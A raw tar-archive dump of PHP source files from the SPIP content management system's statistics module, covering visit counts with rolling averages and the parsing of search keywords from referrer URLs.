array_keys($referers[$k]['liens']); arsort($referers[$k]['hosts']); $referers[$k]['hosts'] = array_keys($referers[$k]['hosts']); $referers[$k]['url'] = reset($referers[$k]['hosts']); } if (count($trivisites)) { array_multisort($trivisites, SORT_DESC, $referers); } return $referers; } stats_visites_to_array.php000060400000007557152527056020012077 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/statistiques'); // moyenne glissante sur 30 jours define('MOYENNE_GLISSANTE_JOUR', 30); // moyenne glissante sur 12 mois define('MOYENNE_GLISSANTE_MOIS', 12); function inc_stats_visites_to_array_dist($unite, $duree, $id_article, $options = array()) { $now = time(); if (!in_array($unite, array('jour', 'mois'))) { $unite = 'jour'; } $serveur = ''; $table = "spip_visites"; $order = "date"; $where = array(); if ($duree) { $where[] = sql_date_proche($order, -$duree, 'day', $serveur); } if ($id_article) { $table = "spip_visites_articles"; $where[] = "id_article=" . intval($id_article); } $where = implode(" AND ", $where); $format = ($unite == 'jour' ? '%Y-%m-%d' : '%Y-%m-01'); $res = sql_select("SUM(visites) AS v, DATE_FORMAT($order,'$format') AS d", $table, $where, "d", "d", "", '', $serveur); $format = str_replace('%', '', $format); $periode = ($unite == 'jour' ? 24 * 3600 : 365 * 24 * 3600 / 12); $step = intval(round($periode * 1.1, 0)); $glisse = constant('MOYENNE_GLISSANTE_' . strtoupper($unite)); moyenne_glissante(); $data = array(); $r = sql_fetch($res, $serveur); if (!$r) { $r = array('d' => date($format, $now), 'v' => 0); } do { $data[$r['d']] = array('visites' => $r['v'], 'moyenne' => moyenne_glissante($r['v'], $glisse)); $last = $r['d']; // donnee suivante $r = sql_fetch($res, $serveur); // si la derniere n'est pas la date courante, l'ajouter if (!$r and $last != date($format, $now)) { $r = array('d' => date($format, $now), 'v' => 0); } // completer les trous manquants si besoin if ($r) { $next = strtotime($last); $current = strtotime($r['d']); while (($next += $step) < $current and $d = date($format, $next)) { if (!isset($data[$d])) { $data[$d] = array('visites' => 0, 'moyenne' => moyenne_glissante(0, $glisse)); } $last = $d; $next = strtotime($last); } } } while ($r); // projection pour la derniere barre : // mesure courante // + moyenne au pro rata du temps qui reste $moyenne = end($data); $moyenne = prev($data); $moyenne = ($moyenne and isset($moyenne['moyenne'])) ? $moyenne['moyenne'] : 0; $data[$last]['moyenne'] = $moyenne; // temps restant $remaining = strtotime(date($format, strtotime(date($format, $now)) + $step)) - $now; $prorata = $remaining / $periode; // projection $data[$last]['prevision'] = $data[$last]['visites'] + intval(round($moyenne * $prorata)); /* * Compter les fichiers en attente de depouillement dans tmp/visites/ * pour affiner la prediction. * A activer dans le mes_options si l'hebergement tient le coup en cas de gros pics de traffic */ if (!$id_article and defined('_STATS_COMPTE_EN_ATTENTE') AND _STATS_COMPTE_EN_ATTENTE){ // eviter un depassement memoire en mesurant un echantillon pour commencer $n = count(glob(_DIR_RACINE . "tmp/visites/0*")); if ($n < 10000) { $n = count(glob(_DIR_RACINE . "tmp/visites/*")); } else { $n += count(glob(_DIR_RACINE . "tmp/visites/4*")); $n += count(glob(_DIR_RACINE . "tmp/visites/8*")); $n += count(glob(_DIR_RACINE . "tmp/visites/c*")); $n = 4 * $n; } $data[$last]['prevision'] += $n; } return $data; } referenceurs.php000060400000012640152527056020007750 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2020 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined("_ECRIRE_INC_VERSION")) { return; } /** * Recuperer la liste des moteurs de recherche depuis un fichier txt * Adaptees du code des "Visiteurs", * par Jean-Paul Dezelus (http://www.phpinfo.net/applis/visiteurs/) * * https://code.spip.net/@stats_load_engines * * @return array */ function stats_load_engines() { $arr_engines = array(); lire_fichier(find_in_path('engines-list.txt'), $moteurs); foreach (array_filter(preg_split("/([\r\n]|#.*)+/", $moteurs)) as $ligne) { $ligne = trim($ligne); if (preg_match(',^\[([^][]*)\]$,S', $ligne, $regs)) { $moteur = $regs[1]; $query = ''; } else { if (preg_match(',=$,', $ligne, $regs)) { $query = $ligne; } else { $arr_engines[] = array($moteur, $query, $ligne); } } } return $arr_engines; } /** * Retrouver les mots cles de recherche dans une url de referer * * Adaptees du code des "Visiteurs", * par Jean-Paul Dezelus (http://www.phpinfo.net/applis/visiteurs/) * * https://code.spip.net/@stats_show_keywords * * @param string $kw_referer * @return array */ function stats_show_keywords($kw_referer) { static $arr_engines = ''; static $url_site; if (!is_array($arr_engines)) { // Charger les moteurs de recherche $arr_engines = stats_load_engines(); // initialiser la recherche interne $url_site = $GLOBALS['meta']['adresse_site']; $url_site = preg_replace(",^((https?|ftp):?/?/?)?(www\.)?,", "", strtolower($url_site)); } if ($url = @parse_url($kw_referer)) { $query = isset($url['query']) ? $url['query'] : ""; $host = isset($url['host']) ? strtolower($url['host']) : ""; $path = isset($url['path']) ? $url['path'] : ""; $scheme = isset($url['scheme']) ? $url['scheme'] : ""; } else { $scheme = $query = $host = $path = ''; } // construire un array des variables directement depuis la query-string parse_str($query, $Tquery); $keywords = ''; $found = false; if (!empty($url_site)) { if (strpos('-' . $kw_referer, $url_site) !== false) { if (preg_match(",(s|search|r|recherche)=([^&]+),i", $kw_referer, $regs)) { $keywords = urldecode($regs[2]); } else { return array('host' => ''); } } else { for ($cnt = 0; $cnt < sizeof($arr_engines) && !$found; $cnt++) { if ($found = preg_match(',' . $arr_engines[$cnt][2] . ',', $host) or $found = preg_match(',' . $arr_engines[$cnt][2] . ',', $path) ) { $kw_referer_host = $arr_engines[$cnt][0]; if (strpos($arr_engines[$cnt][1], '=') !== false) { // Fonctionnement simple: la variable existe dans l'array $v = str_replace('=', '', $arr_engines[$cnt][1]); $keywords = isset($Tquery[$v]) ? $Tquery[$v] : ""; // Si on a defini le nom de la variable en expression reguliere, chercher la bonne variable if (!strlen($keywords) > 0) { if (preg_match("," . $arr_engines[$cnt][1] . "([^\&]*),", $query, $vals)) { $keywords = urldecode($vals[2]); } } } else { $keywords = ""; } if (($kw_referer_host == "Google") || ($kw_referer_host == "AOL" && strpos($query, 'enc=iso') === false) || ($kw_referer_host == "MSN") ) { include_spip('inc/charsets'); if (!isset($ie) or !$cset = $ie) { $cset = 'utf-8'; } $keywords = importer_charset($keywords, $cset); } $buffer["hostname"] = $kw_referer_host; } } } } $buffer["host"] = $host; $buffer["scheme"] = $scheme; if (!isset($buffer["hostname"]) or !$buffer["hostname"]) { $buffer["hostname"] = $host; } $buffer["path"] = substr($path, 1, strlen($path)); $buffer["query"] = $query; if ($keywords != '') { if (strlen($keywords) > 150) { $keywords = spip_substr($keywords, 0, 148); // supprimer l'eventuelle entite finale mal coupee $keywords = preg_replace('/&#?[a-z0-9]*$/', '', $keywords); } $buffer["keywords"] = trim(entites_html(urldecode(stripslashes($keywords)))); } return $buffer; } /** * Recherche des articles pointes par le referer * https://code.spip.net/@referes * * @param $referermd5 * @param string $serveur * @return string */ function referes($referermd5, $serveur = '') { $retarts = sql_allfetsel('J2.id_article, J2.titre', 'spip_referers_articles AS J1 LEFT JOIN spip_articles AS J2 ON J1.id_article = J2.id_article', "(referer_md5='$referermd5' AND J1.maj>=DATE_SUB(" . sql_quote(date('Y-m-d H:i:s')) . ", INTERVAL 2 DAY))", '', "titre", '', '', $serveur); foreach ($retarts as $k => $rowart) { $titre = typo($rowart['titre']); $url = generer_url_entite($rowart['id_article'], 'article', '', '', true); $retarts[$k] = "<a href='$url'><i>$titre</i></a>"; } if (count($retarts) > 1) { return '→ ' . join(',<br />→ ', $retarts); } if (count($retarts) == 1) { return '→ ' . array_shift($retarts); } return ''; }
/home/histoio/www/f41a3/../plugins-dist/././../35802/inc.tar